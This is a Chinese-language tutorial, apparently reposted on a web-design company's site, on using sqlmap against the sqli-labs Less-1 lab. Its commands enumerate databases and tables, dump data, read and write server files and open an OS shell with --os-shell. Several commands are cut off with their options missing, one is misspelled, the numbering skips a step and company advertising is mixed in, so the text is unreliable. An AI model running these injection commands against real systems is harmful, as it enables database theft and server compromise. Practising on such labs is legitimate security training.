注入工具sqlmap如何進行枚舉信息

這篇文章給大家介紹注入工具sqlmap如何進行枚舉信息，內(nèi)容非常詳細(xì)，感興趣的小伙伴們可以參考借鑒，希望對大家能有所幫助。

主要從事網(wǎng)頁設(shè)計、PC網(wǎng)站建設(shè)（電腦版網(wǎng)站建設(shè)）、wap網(wǎng)站建設(shè)（手機版網(wǎng)站建設(shè)）、成都響應(yīng)式網(wǎng)站建設(shè)公司、程序開發(fā)、微網(wǎng)站、微信小程序開發(fā)等，憑借多年來在互聯(lián)網(wǎng)的打拼，我們在互聯(lián)網(wǎng)網(wǎng)站建設(shè)行業(yè)積累了豐富的成都網(wǎng)站建設(shè)、成都網(wǎng)站設(shè)計、網(wǎng)絡(luò)營銷經(jīng)驗，集策劃、開發(fā)、設(shè)計、營銷、管理等多方位專業(yè)化運作于一體，具備承接不同規(guī)模與類型的建設(shè)項目的能力。

一、列舉數(shù)據(jù)庫名

sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" --dbs

二、列舉數(shù)據(jù)庫表

qlmap -u "http://192.168.1.121/sqli/Less-1/?id=1"-D security --tables

四、列舉數(shù)據(jù)值

sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1">

五、列舉schema信息，

--exclude-sysdbs 排除系統(tǒng)數(shù)據(jù)庫

sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1">

六、檢索表中數(shù)據(jù)的數(shù)量

sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1">

七、暴力破解數(shù)據(jù)

MySQL<5.0時，沒有information_schema

--common-columns獲取表名和列名，需要自己導(dǎo)入字典

sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1">

八、讀取文件，

sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" --file-read="C:\phpStudy\PHPTutorial\WWW\index.php"

九、寫入文件

--file-write  本地文件

--file-dest   遠(yuǎn)程寫入文件

sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1">

十、檢索所有信息

sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" -a

十一、執(zhí)行系統(tǒng)個命令

sqlmap -u "http://192.168.1.121/sqli/Less-1/?id=1" --os-shell

關(guān)于注入工具sqlmap如何進行枚舉信息就分享到這里了，希望以上內(nèi)容可以對大家有一定的幫助，可以學(xué)到更多知識。如果覺得文章不錯，可以把它分享出去讓更多的人看到。

網(wǎng)頁標(biāo)題：注入工具sqlmap如何進行枚舉信息
本文路徑：http://bm7419.com/article2/ppheoc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián)，為您提供定制開發(fā)、手機網(wǎng)站建設(shè)、營銷型網(wǎng)站建設(shè)、Google、微信小程序、服務(wù)器托管

廣告

聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主，如果涉及侵權(quán)請盡快告知，我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場，如需處理請聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時需注明來源： 創(chuàng)新互聯(lián)